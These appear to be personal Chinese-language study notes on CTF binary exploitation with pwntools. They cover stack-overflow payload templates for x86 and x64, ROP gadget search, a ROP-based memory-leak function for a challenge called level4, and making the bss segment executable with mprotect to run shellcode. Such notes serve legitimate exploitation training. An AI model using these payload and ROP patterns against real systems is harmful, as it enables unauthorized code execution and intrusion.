pwn
recvuntil('aaa',drop=True/False) #drop='True'表示返回的字符串中aaa不保留
x32 payload跳转到函数func()写法
x32地址大小为4位
payload = 'a'*n + p32(func_addr) + <下一跳地址,没有可以用aaaa代替> + p32<参数1> + p32<参数2> + ...
x64 payload跳转到函数func()写法
x64前三个参数通过寄存器rdi、rsi、rdx传参
x64地址大小为8位
payload = 'a'*n + p64(pop语句) + p64<参数1> + p64<参数2> + ... + p64(func_addr)
python自带next()函数:返回下一个可迭代对象,在pwntool中经常和elf.search()配合使用
a = elf.search('binsh')
b = next(a)
print a
print b
输出
<generator object search at 0x7f013b4c4500>
134520868
使用ROPgarget
ROPgadget --binary pwn01 --only "pop|ret"
得到elf文件中函数的地址
1.text代码段有的和plt表项有的,直接elf.sym[‘func’]
2.代码段没有但是文件中有的可以在libc中找 方法是通过plt表项
(注:ida pro中extern段的函数的地址应该不是真正地址)
ELF.sym就是ELF.symbols的缩写
题目提供的libc一般是给你在远程连接的时候用的,本地测试的时候使用ELF.libc即可得到libc
OJ level4
pwntools的leak模块实战
def leak(addr):
payload = flat(cyclic(0x88), pop_rdi, 1, pop_rsi_p, addr, 0, elf.plt['write'], elf.sym['vulnerable_function'])
p.recvuntil('Input:\n')
p.send(payload)
sleep(0.01)
leaked = p.recv(8)
info("leaked -> {}".format(leaked))
return leaked
多使用线上调试
因为本地的环境和线上的有一定的区别
有时在本地遇到一些奇怪的错误在线上不会遇到 可以直接过的
低端题思路之一:
从得到system()、execve()或者写shellcode到可执行区来getshell
void* mmap(void* addr, size_t len, int port, int flag, int filedes, off_t off)
int mprotect(void* addr, size_t len, int port)
简单来说mmap函数创建一块内存区域,将一个文件映射到该区域,进程可以像操作内存一样操作文件。mprotect函数可以改变一块内存区域的权限(以页为单位)。至于mmap函数没有想到怎么去利用,而mprotect函数是可以改变一个段的权限的,可以利用这一特点将bss段改为可执行,将shellcode写到bss段,再想办法执行即可。
这里有一点关于mprotect的注意点:mprotect的第一个参数标识要写的内存页的首地址。这里是以页为单位访问。一页是4kb也就是0x1000字节所以mprotect的第一个参数必须是0x1000的倍数。第二个参数标识要设置的权限的地址的范围。这个多少都无所谓,不过需要把bss段包含进去
今日谜题:context.binary = "./level5"有什么用?
解答:自动根据题目文件来设置一些系统相关的全局变量。例如选定的目标操作系统,体系结构和位宽。
在利用__libc_csu_init()的gadget时,由于这个gadget通过call跳转到指定函数,所以要把需要跳转的指定函数绑定到got表上
使用objdump -d ./level5
查看__libc_csu_init()上的指令地址